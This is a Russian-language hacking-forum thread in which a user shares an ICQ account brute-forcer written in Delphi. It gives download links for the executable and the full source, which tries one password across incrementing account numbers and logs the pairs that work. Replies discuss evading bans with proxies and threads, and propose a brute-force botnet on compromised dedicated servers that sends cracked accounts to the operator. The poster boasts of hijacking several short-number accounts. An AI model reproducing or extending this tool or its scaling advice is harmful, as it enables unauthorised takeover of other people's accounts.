здравствуйте )) вот решил я написать брут на делфи которого совсем не знаю )) ( обычно я на бейсике пишу ) и получилась у меня на делфи такая хрень может кому надо побаловатся если что то не работает обязательно сообшите в аську указанную в программе

СКАЧАТЬ ТУT http://depositfiles.com/files/i5rbqmrzs

ИЛИ ТУТ http://slil.ru/29434360

(C) TrambleR

А Brutal чем не устраивает?

Самое то для определенных слоев античата, страдающих в это время года каникулами

lolwto??

Опиши, что троян делать умеет?

Если это троян, то от проги хоть какой то толк есть.

Гдеты троян увидел ? те сорцы показать ?

Да,давай.

90% - это быдлокод,т.е. пижженый и чуть переделанный сурс.

олололло?

Какими нах каникулами ? Да мне всего 18 лет но ты так говоришь какбудто ты ветеран войны Бля

код етого мини брута

unit Unit3;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, ICQClient, ICQWorks, ExtCtrls, StdCtrls;

type

TForm3 = class(TForm)

ICQClient1: TICQClient;

Edit1: TEdit;

Edit2: TEdit;

Button1: TButton;

Timer1: TTimer;

Label1: TLabel;

Edit3: TEdit;

Button2: TButton;

GroupBox1: TGroupBox;

Label2: TLabel;

Label3: TLabel;

Label4: TLabel;

Button3: TButton;

Panel1: TPanel;

Good: TMemo;

Label5: TLabel;

procedure Button1Click(Sender: TObject);

procedure ICQClient1Login(Sender: TObject);

procedure ICQClient1Error(Sender: TObject; ErrorType: TErrorType;

ErrorMsg: string);

procedure Timer1Timer(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form3: TForm3;

implementation

{$R *.dfm}

procedure TForm3.Button1Click(Sender: TObject);

begin

Button1.Enabled:=False;

Button2.Enabled:=True;

Button3.Enabled:=False;

Edit1.Enabled:=False;

Edit2.Enabled:=False;

Edit3.Enabled:=False;

Good.Enabled:=False;

Label1.Caption:='Ïîäêëþ÷åíèå...';

Timer1.Enabled:=True;

if ICQClient1.LoggedIn then

ICQClient1.LogOff;

ICQClient1.UIN:=StrToInt(Edit1.Text);

ICQClient1.Password:=Edit2.Text;

ICQClient1.Login(S_ONLINE);

end;

procedure TForm3.Button2Click(Sender: TObject);

begin

Timer1.Enabled:=False;

Good.Enabled:=True;

Button2.Enabled:=False;

Button1.Enabled:=True;

Button3.Enabled:=True;

Edit1.Enabled:=True;

Edit2.Enabled:=True;

Edit3.Enabled:=True

end;

procedure TForm3.ICQClient1Error(Sender: TObject; ErrorType: TErrorType;

ErrorMsg: string);

begin

Label1.Caption:=ErrorMsg;

end;

procedure TForm3.ICQClient1Login(Sender: TObject);

begin

Good.Lines.Add(Edit1.Text+';'+Edit2.Text);

Label1.Caption:='Ñáðó÷åííî !!!';

ICQClient1.LogOff;

end;

procedure TForm3.Timer1Timer(Sender: TObject);

begin

if Edit1.Text = Edit3.Text then

Timer1.Enabled:=False;

if Label1.Caption = 'Connection failed. Your ICQ number or password was rejected.' then begin

Edit1.Text:=IntToStr(StrToInt(Edit1.Text)+1);

Button1.Click;

Label1.Caption:='Ïîäêëþ÷åíèå...';

end;

if Label1.Caption = 'Connection timed out' then begin

Button1.Click;

Label1.Caption:='Ïîäêëþ÷åíèå...';

end;

if Label1.Caption = 'Ïîäêëþ÷åíèå...' then begin

Edit1.Text:=IntToStr(StrToInt(Edit1.Text)+1);

Button1.Click;

Label1.Caption:='Ïîäêëþ÷åíèå ...';

end;

end;

procedure TForm3.Button3Click(Sender: TObject);

begin

Form3.Close;

end;

end.

необходим компонент TICQ

а что касается кода то друг помог немного т.к. я в делфи полный 0

Научись внимательно читать посты

Ниразу не быдлокод...

Хоть бы имена нормальные давал...

его доработать надо и сделать проксевым ))

И ты думаешь что он будет лучше чем brutal?

Я не понимаю зачем что то писать, если уже есть готовое и отлично работающее

Brutal никогда не юзал )) предпочитаю IPD )) а пишу я ради познания в делфи

доработать нужно

Это компоненты,а не ЯП. Так что херню ты делаешь.

для первой моей проги на делфи сойдет )))

да на делфи я хрень делаю но на бейсике отличный софт пишу

Перепиши на бейсик в красочном интерфейсе и добавь брут сразу 2 номеров.

P.S Цены тебе не будет.

неуспел ты сказать как я сделал нечто подобное )) старый негодный бруи карася сделал нормальным )) заменил контрол,пол кода заменил, обновлен протокол вот ссыль СКАЧАТЬ

З.Ы. на бейсике естественно))) но всеровно доработать нада ))) я хочу сделать чтоб брутило сразу в 4 потока

без проксей это нереализуемо, либо таймаут придётся ставить секунд 10

ничего подобного ))) на поток по 3 сервера и вперед с таймаутом 2 сек ))

и бан через 15 минут... потом полчаса перекура

ну почему то я уже без бана по 2 сервервм без прокси более 23000 перебрал с таймаутом 3.7

считаем 23000*3,7 = 85100 секунд = 1418 минут = 23,63 часа. Итого 23000 комбинаций в сутки, маловато.

23000/85100 = 0, 27 ппс - тоже маловато

З.Ы. как бы ты не изворачивался, но выше 0.5 ппс без проксей не выжмешь, факт.

З.Ы.Ы. И еще раз говорю, делай хоть 100 потоков, уины от этого быстрее перебираться не будут.

З.Ы.Ы.Ы. На счёт проксей. Не думаю, что твой брут конкурентоспособен по сравнению с бруталом и МСАУбрутом. Но идейка одна есть: лично мне был бы интересен брут без source-файла, работающий по следующей системе. Задаётся номер/номера и список символов, которые могут использоваться в пароле. Дальше при создании каждого нового потока генерируется случайным образом пароль, на который проверяется уин и так дальше по кругу. Вот такой брут мне пригодился бы даже без прокси. В нём было была бы куча преимуществ: малый вес, простота. Зарядил таких на 30 дедиков и забыл про них - а они уже в сумме 15 ппс дают. Разумеется встроенный бот отсылает сбрученные гуды сразу в аську. Может самому этой шнягой заняться? А то дедов тьма, а пользы от них никакой... Так хоть какая-то нагрузка будет, можно хоть брут-ботнет сделать с сумарной скоростью под 100-200 ппс.

перезалей пожалйусто

у меня как будет время я заимусь )) идея не полхая конечно но сделать на простом VBicq это не реально так что придется использовать компонент VBicq4.dll а хз как его прицепить к бруту)))) но помучатся стоит

перезалито http://rapidshare.com/files/404964543/Project1.exe

пытаюсь зделать нечто что будет переберать ро диапазону не на один пароль а на несколько ))) кстати я снял за сутки 3 шестизнака и пару семерок ))) неполохо ...